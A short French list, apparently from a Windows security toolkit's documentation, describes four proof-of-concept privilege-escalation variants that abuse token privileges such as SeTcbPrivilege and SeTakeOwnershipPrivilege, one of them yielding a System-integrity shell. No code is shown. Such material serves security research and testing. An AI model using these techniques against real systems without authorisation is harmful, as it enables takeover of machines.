SecondaryLogonVariantCe PoC effectue une EoP avec SeCreateTokenPrivilege et SeImpersonatePrivilege. Utilise le service d'ouverture de session secondaire à l'étape finale.
TakeOwnershipServiceModificationVariantCe PoC effectue une EoP avec SeTakeOwnershipPrivilege. Utilise HijackShellLib avec ce PoC.
TcbS4uAssignTokenVariantCe PoC effectue une EoP avec SeTcbPrivilege. Obtient un shell de niveau d'intégrité System à partir d'un niveau d'intégrité Medium.
TcbS4uImpersonationVariantCe PoC effectue une EoP avec SeTcbPrivilege. Effectue une usurpation de thread avec une ouverture de session S4U. N'obtient pas le niveau d'intégrité élevé ou système.